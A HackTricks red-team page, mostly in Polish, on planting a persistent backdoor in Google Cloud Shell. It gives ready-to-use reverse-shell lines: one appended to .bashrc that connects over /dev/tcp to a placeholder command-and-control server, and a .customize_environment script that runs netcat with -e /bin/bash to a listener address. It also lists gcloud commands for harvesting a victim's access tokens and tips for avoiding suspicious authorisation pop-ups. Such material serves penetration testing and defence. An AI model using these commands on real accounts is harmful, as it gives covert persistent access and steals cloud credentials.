GCP - Cloud Shell Persistence

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Cloud Shell

For more information check:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell zapewnia dostęp do zasobów chmurowych za pomocą wiersza poleceń bezpośrednio z przeglądarki bez żadnych związanych kosztów.

Możesz uzyskać dostęp do Cloud Shell Google'a z konsoli internetowej lub uruchamiając gcloud cloud-shell ssh.

Ta konsola ma kilka interesujących możliwości dla atakujących:

  1. Każdy użytkownik Google z dostępem do Google Cloud ma dostęp do w pełni uwierzytelnionej instancji Cloud Shell (Konta serwisowe mogą, nawet będąc właścicielami organizacji).

  2. Wspomniana instancja zachowa swój katalog domowy przez co najmniej 120 dni, jeśli nie zajdzie żadna aktywność.

  3. Nie ma możliwości dla organizacji monitorowania aktywności tej instancji.

Oznacza to zasadniczo, że atakujący może umieścić tylne drzwi w katalogu domowym użytkownika, a tak długo, jak użytkownik łączy się z GC Shell co 120 dni przynajmniej, tylne drzwi przetrwają, a atakujący uzyska powłokę za każdym razem, gdy zostanie uruchomiona, po prostu wykonując:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

W folderze domowym znajduje się inny plik o nazwie .customize_environment, który, jeśli istnieje, będzie wykonywany za każdym razem, gdy użytkownik uzyskuje dostęp do cloud shell (jak w poprzedniej technice). Wystarczy wstawić poprzedni backdoor lub jeden podobny do poniższego, aby utrzymać persistencję tak długo, jak użytkownik "często" korzysta z cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Ważne jest, aby zauważyć, że za pierwszym razem, gdy wykonywana jest akcja wymagająca uwierzytelnienia, w przeglądarce użytkownika pojawia się okno autoryzacji. To okno musi zostać zaakceptowane, zanim polecenie będzie mogło zostać wykonane. Jeśli pojawi się niespodziewane okno, może to budzić podejrzenia i potencjalnie zagrozić metodzie utrzymania, która jest używana.

To jest okno pop-up z wykonania gcloud projects list z cloud shell (jako atakujący) widziane w sesji użytkownika w przeglądarce:

Jednakże, jeśli użytkownik aktywnie korzystał z cloudshell, okno pop-up się nie pojawi i możesz zbierać tokeny użytkownika za pomocą:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Jak nawiązywane jest połączenie SSH

W zasadzie używane są te 3 wywołania API:

Ale możesz znaleźć więcej informacji w https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Odniesienia

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

Last updated